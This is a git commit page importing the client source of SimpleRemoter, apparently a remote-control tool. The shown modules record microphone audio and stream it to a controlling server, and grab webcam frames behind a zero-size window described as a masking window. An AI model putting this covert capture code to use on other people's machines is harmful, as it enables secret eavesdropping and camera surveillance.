Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea

This commit is contained in:
yuanyuanxiang
2026-04-19 19:55:01 +02:00
commit 5a325a202b
744 changed files with 235562 additions and 0 deletions

231
client/Audio.cpp Normal file
View File

@@ -0,0 +1,231 @@
// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Audio.h"
#include <iostream>
#ifdef _WINDOWS
#define __CreateThread CreateThread
#else
#include "SafeThread.h"
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_bExit = FALSE;
m_hThreadCallBack = false;
m_Thread = NULL;
m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_hEventWaveIn = CreateEvent(NULL, FALSE, FALSE, NULL);
m_hStartRecord = CreateEvent(NULL, FALSE, FALSE, NULL);
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
m_ulBufferLength = 1000;
for (int i = 0; i < 2; ++i) {
m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR;
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
m_OutAudioHeader[i] = new WAVEHDR;
}
}
CAudio::~CAudio()
{
m_bExit = TRUE;
if (m_hEventWaveIn) {
SetEvent(m_hEventWaveIn);
SAFE_CLOSE_HANDLE(m_hEventWaveIn);
m_hEventWaveIn = NULL;
}
if (m_hStartRecord) {
SetEvent(m_hStartRecord);
SAFE_CLOSE_HANDLE(m_hStartRecord);
m_hStartRecord = NULL;
}
if (m_bIsWaveInUsed) {
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; ++i)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
Mprintf("没有成功关闭waveInCallBack.\n");
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
for (int i = 0; i < 2; ++i) {
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_bIsWaveOutUsed) {
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; ++i) {
if (m_InAudioHeader[i])
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; ++i) {
delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL;
delete [] m_OutAudioHeader[i];
m_OutAudioHeader[i] = NULL;
}
}
BOOL CAudio::InitializeWaveIn()
{
MMRESULT mmResult;
DWORD dwThreadID = 0;
m_hThreadCallBack = m_Thread = __CreateThread(NULL, 0,
waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID);
//打开录音设备COM 1 指定声音规格 2 支持通过线程回调 换缓冲
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
//m_hWaveIn 录音机句柄
if (mmResult != MMSYSERR_NOERROR) {
return FALSE;
}
//录音设备 需要的两个缓冲
for (int i=0; i<2; ++i) {
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData 指针数组
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_InAudioHeader[i]->dwFlags = 0;
m_InAudioHeader[i]->dwLoops = 0;
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
if (m_Thread!=NULL) {
ResumeThread(m_Thread);
}
waveInStart(m_hWaveIn); //录音
m_bIsWaveInUsed = TRUE;
return true;
}
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{
//录音机
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE) {
return NULL;
}
SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE);
*dwBufferSize = m_ulBufferLength;
return m_InAudioData[m_nWaveInIndex]; //返出真正数据
}
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{
CAudio *This = (CAudio *)lParam;
MSG Msg;
while (GetMessage(&Msg, NULL, 0, 0)) {
if (This->m_bExit)
break;
if (Msg.message == MM_WIM_DATA) {
SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE);
if (This->m_bExit)
break;
Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
//更新缓冲
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
if (mmResult != MMSYSERR_NOERROR)
break;
}
if (Msg.message == MM_WIM_CLOSE) {
break;
}
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
Mprintf("waveInCallBack end\n");
This->m_hThreadCallBack = false;
return 0XDEADAAAA;
}
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 音频格式 2 播音设备
return NULL;
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength) {
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
BOOL CAudio::InitializeWaveOut()
{
if (!waveOutGetNumDevs())
return FALSE;
for (int i = 0; i < 2; ++i)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //声音数据
MMRESULT mmResult;
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
if (mmResult != MMSYSERR_NOERROR)
return false;
for (int i = 0; i < 2; ++i) {
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_OutAudioHeader[i]->dwFlags = 0;
m_OutAudioHeader[i]->dwLoops = 0;
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
}
m_bIsWaveOutUsed = TRUE;
return TRUE;
}

45
client/Audio.h Normal file
View File

@@ -0,0 +1,45 @@
// Audio.h: interface for the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <MMSYSTEM.H>
#include <MMReg.h>
class CAudio
{
public:
CAudio();
virtual ~CAudio();
GSM610WAVEFORMAT m_GSMWavefmt;
ULONG m_ulBufferLength;
LPWAVEHDR m_InAudioHeader[2]; //两个头
LPBYTE m_InAudioData[2]; //两个数据 保持声音的连续
HANDLE m_hEventWaveIn;
HANDLE m_hStartRecord; //两个事件
HWAVEIN m_hWaveIn; //设备句柄
DWORD m_nWaveInIndex;
bool m_hThreadCallBack;
HANDLE m_Thread;// waveInCallBack线程
static DWORD WINAPI waveInCallBack(LPVOID lParam); //发送到主控端
LPBYTE GetRecordBuffer(LPDWORD dwBufferSize);
BOOL InitializeWaveIn();
BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut;
BOOL m_bExit;
BOOL m_bIsWaveOutUsed;
DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //两个头
LPBYTE m_OutAudioData[2]; //两个数据 保持声音的连续
BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
BOOL InitializeWaveOut();
};
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)

129
client/AudioManager.cpp Normal file
View File

@@ -0,0 +1,129 @@
// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "AudioManager.h"
#include "Common.h"
#include <Mmsystem.h>
#include <IOSTREAM>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
Mprintf("new CAudioManager %p\n", this);
m_bIsWorking = FALSE;
m_AudioObject = NULL;
if (Initialize()==FALSE) {
szPacket = NULL;
m_hWorkThread = NULL;
char buf[128];
sprintf_s(buf, "Open audio failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
Mprintf("%s\n", buf);
ClientMsg msg("语音管理", buf);
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
return;
}
BYTE bToken = TOKEN_AUDIO_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen(); //等待对话框打开
szPacket = NULL;
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
}
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0]) {
case COMMAND_NEXT: {
if (1 == ulLength)
NotifyDialogIsOpen();
break;
}
default: {
m_AudioObject->PlayBuffer(szBuffer, ulLength);
break;
}
}
}
DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端
{
CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking && !This->g_bExit) {
if(!This->SendRecordBuffer())
Sleep(50);
}
Mprintf("CAudioManager WorkThread end\n");
return 0;
}
BOOL CAudioManager::SendRecordBuffer()
{
DWORD dwBufferSize = 0;
BOOL dwReturn = 0;
//这里得到 音频数据
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL)
return 0;
//分配缓冲区
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
//加入数据头
szPacket[0] = TOKEN_AUDIO_DATA; //向主控端发送该消息
//复制缓冲区
memcpy(szPacket + 1, szBuffer, dwBufferSize);
szPacket[dwBufferSize] = 0;
//发送出去
if (dwBufferSize > 0) {
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
}
return dwReturn;
}
CAudioManager::~CAudioManager()
{
m_bIsWorking = FALSE; //设定工作状态为假
if (m_hWorkThread)
WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
if (m_hWorkThread)
SAFE_CLOSE_HANDLE(m_hWorkThread);
if (m_AudioObject!=NULL) {
delete m_AudioObject;
m_AudioObject = NULL;
}
if (szPacket) {
delete [] szPacket;
szPacket = NULL;
}
Mprintf("~CAudioManager %p\n", this);
}
//USB
BOOL CAudioManager::Initialize()
{
if (!waveInGetNumDevs()) //获取波形输入设备的数目 实际就是看看有没有声卡
return FALSE;
// SYS SYS P
// 正在使用中.. 防止重复使用
if (m_bIsWorking==TRUE) {
return FALSE;
}
m_AudioObject = new CAudio; //功能类
m_bIsWorking = TRUE;
return TRUE;
}

32
client/AudioManager.h Normal file
View File

@@ -0,0 +1,32 @@
// AudioManager.h: interface for the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
#define AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "Audio.h"
class CAudioManager : public CManager
{
public:
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL Initialize();
CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr);
virtual ~CAudioManager();
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
static DWORD WINAPI WorkThread(LPVOID lParam);
BOOL SendRecordBuffer();
CAudio* m_AudioObject;
LPBYTE szPacket; // 音频缓存区
};
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)

166
client/Buffer.cpp Normal file
View File

@@ -0,0 +1,166 @@
#ifdef _WIN32
#include "StdAfx.h"
#endif
#include "Buffer.h"
#include <math.h>
#define U_PAGE_ALIGNMENT 3
#define F_PAGE_ALIGNMENT 3.0
CBuffer::CBuffer()
{
m_ulMaxLength = 0;
m_Ptr = m_Base = NULL;
}
CBuffer::~CBuffer(void)
{
if (m_Base) {
MVirtualFree(m_Base, 0, MEM_RELEASE);
m_Base = NULL;
}
m_Base = m_Ptr = NULL;
m_ulMaxLength = 0;
}
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
{
ULONG dataLen = (ULONG)(m_Ptr - m_Base);
if (ulLength > dataLen) {
ulLength = dataLen;
}
if (ulLength) {
CopyMemory(Buffer, m_Base, ulLength);
// 只移动有效数据,而非整个缓冲区
ULONG remaining = dataLen - ulLength;
if (remaining > 0) {
MoveMemory(m_Base, m_Base + ulLength, remaining);
}
m_Ptr = m_Base + remaining;
}
DeAllocateBuffer(m_Ptr - m_Base);
return ulLength;
}
// 重新分配内存大小
VOID CBuffer::DeAllocateBuffer(ULONG ulLength)
{
int len = m_Ptr - m_Base;
if (ulLength < len)
return;
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
if (m_ulMaxLength <= ulNewMaxLength) {
return;
}
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
if (NewBase == NULL)
return;
CopyMemory(NewBase,m_Base,len);
MVirtualFree(m_Base,0,MEM_RELEASE);
m_Base = NewBase;
m_Ptr = m_Base + len;
m_ulMaxLength = ulNewMaxLength;
}
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
{
if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == FALSE) {
return FALSE;
}
CopyMemory(m_Ptr, Buffer, ulLength);
m_Ptr+=ulLength;
return TRUE;
}
// 当缓存长度不足时重新分配
BOOL CBuffer::ReAllocateBuffer(ULONG ulLength)
{
if (ulLength < m_ulMaxLength)
return TRUE;
ULONG ulNewMaxLength = ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
PBYTE NewBase = (PBYTE) MVirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
if (NewBase == NULL) {
return FALSE;
}
ULONG len = m_Ptr - m_Base;
CopyMemory(NewBase, m_Base, len);
if (m_Base) {
MVirtualFree(m_Base,0,MEM_RELEASE);
}
m_Base = NewBase;
m_Ptr = m_Base + len;
m_ulMaxLength = ulNewMaxLength;
return TRUE;
}
VOID CBuffer::ClearBuffer()
{
m_Ptr = m_Base;
DeAllocateBuffer(1024);
}
ULONG CBuffer::GetBufferLength() const
{
return m_Ptr - m_Base;
}
void CBuffer::Skip(ULONG ulPos)
{
if (ulPos == 0)
return;
// 边界检查:确保不会越界
ULONG dataLen = (ULONG)(m_Ptr - m_Base);
if (ulPos > dataLen) {
ulPos = dataLen;
}
if (ulPos > 0) {
ULONG remaining = dataLen - ulPos;
if (remaining > 0) {
MoveMemory(m_Base, m_Base + ulPos, remaining);
}
m_Ptr = m_Base + remaining;
}
}
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
{
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base)) {
return NULL;
}
return m_Base+ulPos;
}

24
client/Buffer.h Normal file
View File

@@ -0,0 +1,24 @@
#pragma once
#include "../common/commands.h"
class CBuffer
{
public:
CBuffer(void);
~CBuffer(void);
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
ULONG GetBufferLength() const; //获得有效数据长度
VOID DeAllocateBuffer(ULONG ulLength);
VOID ClearBuffer();
BOOL ReAllocateBuffer(ULONG ulLength);
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
PBYTE GetBuffer(ULONG ulPos=0) const;
void Skip(ULONG ulPos);
protected:
PBYTE m_Base;
PBYTE m_Ptr;
ULONG m_ulMaxLength;
};

258
client/CaptureVideo.cpp Normal file
View File

@@ -0,0 +1,258 @@
// CaptureVideo.cpp: implementation of the CCaptureVideo class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CaptureVideo.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSampleGrabberCB CCaptureVideo::mCB;
CCaptureVideo::CCaptureVideo()
{
m_pCapture = NULL;
m_pGB = NULL;
m_pMC = NULL;
m_pVW = NULL;
m_pBF = NULL;
m_pGrabber = NULL;
m_bExit = FALSE;
m_hWnd = NULL;
if (FAILED(CoInitialize(NULL))) {
return;
}
}
CCaptureVideo::~CCaptureVideo()
{
m_bExit = TRUE;
if(m_pMC)m_pMC->StopWhenReady();
if(m_pVW) {
m_pVW->put_Visible(OAFALSE);
m_pVW->put_Owner(NULL);
}
SAFE_RELEASE(m_pMC);
SAFE_RELEASE(m_pVW);
SAFE_RELEASE(m_pGB);
SAFE_RELEASE(m_pBF);
SAFE_RELEASE(m_pGrabber);
SAFE_RELEASE(m_pCapture);
CoUninitialize() ;
}
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{
Mprintf("CCaptureVideo call Open\n");
HRESULT hResult = S_OK;
do {
hResult = InitCaptureGraphBuilder();
if (FAILED(hResult))
break;
if(!BindVideoFilter(iDeviceID, &m_pBF))
break;
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
IID_ISampleGrabber, (void**)&m_pGrabber); //引脚内存
if(FAILED(hResult))
break;
//m_pGrabber 属性设置 1 格式 2 内存缓冲形式
CComQIPtr<IBaseFilter, &IID_IBaseFilter> pGrabBase(m_pGrabber);//设置视频格式
AM_MEDIA_TYPE mt; //视频格式
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
mt.majortype = MEDIATYPE_Video;
mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24
hResult = m_pGrabber->SetMediaType(&mt);
if(FAILED(hResult))
break;
hResult = m_pGB->AddFilter(pGrabBase,L"Grabber");
if(FAILED(hResult))
break;
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //静态
&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
if(FAILED(hResult)) {
//扑捉
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
break;
}
if(FAILED(hResult))
break;
hResult = m_pGrabber->GetConnectedMediaType(&mt);
if (FAILED(hResult))
break;
//3 扑捉数据 FDO 一旦有数据就进行 回调函数调用 属于一个类
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
//mCB 是个另外一个类 并且全局变量 有个回调
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
FreeMediaType(mt);
hResult = m_pGrabber->SetBufferSamples( FALSE ); //回调函数
hResult = m_pGrabber->SetOneShot( FALSE );
//设置视频捕获回调函数 也就是如果有视频数据时就会调用这个类的BufferCB函数
//返回OnTimer
hResult = m_pGrabber->SetCallback(&mCB, 1);
m_hWnd = CreateWindow("#32770", "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
SetupVideoWindow(); //屏蔽窗口
hResult = m_pMC->Run(); //开灯
if(FAILED(hResult))
break;
} while (false);
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
return hResult;
}
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
{
HRESULT hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC,
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //真实设备
if (FAILED(hResult)) {
return hResult;
}
hResult=CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,
IID_IGraphBuilder, (void**)&m_pGB); //虚拟设备
if (FAILED(hResult)) {
return hResult;
}
//将过滤绑定到真实设备上面
m_pCapture->SetFiltergraph(m_pGB);
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
if (FAILED(hResult)) {
return hResult;
}
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
if (FAILED(hResult)) {
return hResult;
}
return hResult;
}
LPBITMAPINFO CCaptureVideo::GetBmpInfor()
{
return mCB.GetBmpInfor(); //构建位图内存头和数据
}
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter)
{
if (deviceId < 0)
return FALSE;// enumerate all video capture devices
CComPtr<ICreateDevEnum> pCreateDevEnum;
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
IID_ICreateDevEnum, (void**)&pCreateDevEnum);
if (hr != NOERROR) {
return FALSE;
}
CComPtr<IEnumMoniker> pEm;
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0);
if (hr != NOERROR) {
return FALSE;
}
pEm->Reset();
ULONG cFetched;
IMoniker *pM;
int index = 0;
while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) {
IPropertyBag *pBag;
//通过BindToStorage 可以访问该设备的标识集
hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag);
if(SUCCEEDED(hr)) {
VARIANT var;
var.vt = VT_BSTR;
hr = pBag->Read(L"FriendlyName", &var, NULL);
if (hr == NOERROR) {
if (index == deviceId) {
pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
}
SysFreeString(var.bstrVal);
}
pBag->Release(); //引用计数--
}
pM->Release();
index++;
}
return TRUE;
}
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt)
{
if (mt.cbFormat != 0) {
CoTaskMemFree((PVOID)mt.pbFormat);
mt.cbFormat = 0;
mt.pbFormat = NULL;
}
if (mt.pUnk != NULL) {
mt.pUnk->Release();
mt.pUnk = NULL;
}
}
HRESULT CCaptureVideo::SetupVideoWindow()
{
HRESULT hr;
hr = m_pVW->put_Owner((OAHWND)m_hWnd);
if (FAILED(hr))return hr;
hr = m_pVW->put_WindowStyle(WS_CHILD | WS_CLIPCHILDREN);
if (FAILED(hr))return hr;
ResizeVideoWindow();
hr = m_pVW->put_Visible(OATRUE);
return hr;
}
void CCaptureVideo::ResizeVideoWindow()
{
if (m_pVW) {
RECT rc;
::GetClientRect(m_hWnd,&rc);
m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //将窗口设置到0 0 0 0 处
}
}
void CCaptureVideo::SendEnd() //发送结束 设置可以再取数据
{
InterlockedExchange((LPLONG)&mCB.bStact,CMD_CAN_COPY);
}
LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize)
{
BYTE *szBuffer = NULL;
int n = 200; // 10s没有获取到数据则返回NULL
do {
if (mCB.bStact==CMD_CAN_SEND) { //这里改变了一下发送的状态
if (szBuffer = mCB.GetNextScreen(dwSize)) //是否获取到视频
break;
}
Sleep(50);
} while (!m_bExit && --n);
return szBuffer;
}

242
client/CaptureVideo.h Normal file
View File

@@ -0,0 +1,242 @@
// CaptureVideo.h: interface for the CCaptureVideo class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
#define AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <Objbase.h>
#include <uuids.h>
#include <strmif.h>
#include <CONTROL.H>
#include <ATLBASE.H>
#include <amvideo.h>
#include <DShow.h>
#pragma comment(lib,"Strmiids.lib")
// TODO 全局变量, 定义位置qedit.h
// 接口 ID 回调接口,用于在每一帧抓取时通知应用
EXTERN_C const IID IID_ISampleGrabberCB;
// 类 ID 创建 Sample Grabber COM 对象
EXTERN_C const CLSID CLSID_SampleGrabber;
// 接口 ID 设置 Sample Grabber 的参数、格式、回调等操作接口
EXTERN_C const IID IID_ISampleGrabber;
struct ISampleGrabberCB : public IUnknown {
public:
virtual HRESULT STDMETHODCALLTYPE SampleCB(
double SampleTime,
IMediaSample * pSample) = 0;
virtual HRESULT STDMETHODCALLTYPE BufferCB(
double SampleTime,
BYTE* pBuffer,
long BufferLen) = 0;
};
struct ISampleGrabber : public IUnknown {
public:
virtual HRESULT STDMETHODCALLTYPE SetOneShot(
BOOL OneShot) = 0;
virtual HRESULT STDMETHODCALLTYPE SetMediaType(
const AM_MEDIA_TYPE* pType) = 0;
virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType(
AM_MEDIA_TYPE* pType) = 0;
virtual HRESULT STDMETHODCALLTYPE SetBufferSamples(
BOOL BufferThem) = 0;
virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer(
/* [out][in] */ long* pBufferSize,
/* [out] */ long* pBuffer) = 0;
virtual HRESULT STDMETHODCALLTYPE GetCurrentSample(
/* [retval][out] */ IMediaSample** ppSample) = 0;
virtual HRESULT STDMETHODCALLTYPE SetCallback(
ISampleGrabberCB* pCallback,
long WhichMethodToCallback) = 0;
};
enum {
CMD_CAN_COPY,
CMD_CAN_SEND
};
#ifndef SAFE_RELEASE
#define SAFE_RELEASE( x ) if ( NULL != x ){ x->Release(); x = NULL; }
#endif
class CSampleGrabberCB : public ISampleGrabberCB
{
public:
ULONG m_ulFullWidth;
ULONG m_ulFullHeight;
LPBITMAPINFO m_BitmapInfor_Full;
BYTE* m_BitmapData_Full;
BOOL bStact;
DWORD m_dwSize; // 视频图像数据大小
CSampleGrabberCB()
{
m_ulFullWidth = 0 ;
m_ulFullHeight = 0 ;
m_BitmapInfor_Full = NULL;
m_BitmapData_Full = NULL;
m_dwSize = 0;
bStact = CMD_CAN_COPY;
}
~CSampleGrabberCB()
{
if (m_BitmapInfor_Full!=NULL) {
delete[] m_BitmapInfor_Full;
}
if (m_BitmapData_Full!=NULL) {
delete[] m_BitmapData_Full;
}
m_ulFullWidth = 0 ;
m_ulFullHeight = 0 ;
}
LPBITMAPINFO GetBmpInfor()
{
if (m_BitmapInfor_Full==NULL) { //头信息
ConstructBI(24);
}
return m_BitmapInfor_Full;
}
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount)
{
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength];
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
BitmapInforHeader->biSize = sizeof(BITMAPINFOHEADER);//pi si
BitmapInforHeader->biWidth = m_ulFullWidth;
BitmapInforHeader->biHeight = m_ulFullHeight;
BitmapInforHeader->biPlanes = 1;
BitmapInforHeader->biBitCount = ulbiBitCount;
BitmapInforHeader->biCompression = BI_RGB;
BitmapInforHeader->biXPelsPerMeter = 0;
BitmapInforHeader->biYPelsPerMeter = 0;
BitmapInforHeader->biClrUsed = 0;
BitmapInforHeader->biClrImportant = 0;
BitmapInforHeader->biSizeImage = //图像数据
(((BitmapInforHeader->biWidth * BitmapInforHeader->biBitCount + 31) & ~31) >> 3)
* BitmapInforHeader->biHeight;
// 16位和以后的没有颜色表直接返回
//!!
m_dwSize=BitmapInforHeader->biSizeImage; //数据大小
m_BitmapData_Full=new BYTE[m_dwSize+10];
ZeroMemory(m_BitmapData_Full,m_dwSize+10);
return m_BitmapInfor_Full;
}
STDMETHODIMP_(ULONG) AddRef()
{
return 2;
}
STDMETHODIMP_(ULONG) Release()
{
return 1;
}
STDMETHODIMP QueryInterface(REFIID riid, void ** lParam)
{
if( riid == IID_ISampleGrabberCB || riid == IID_IUnknown ) {
*lParam = (void *) static_cast<ISampleGrabberCB*> ( this );
return NOERROR;
}
return E_NOINTERFACE;
}
BYTE* GetNextScreen(DWORD &dwSize)
{
dwSize=m_dwSize;
return (BYTE*)m_BitmapData_Full;
}
STDMETHODIMP SampleCB(double dbSampleTime, IMediaSample * Sample)
{
return 0;
}
//回调函数 在这里得到 bmp 的数据
STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize)
{
if (!szBuffer) {
return E_POINTER;
}
if (bStact==CMD_CAN_COPY) { //未初始化 发送的同差异的一样
//将图像数据拷贝的我们的内存
memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //位图
InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //原子自增可以发送
return S_OK;
}
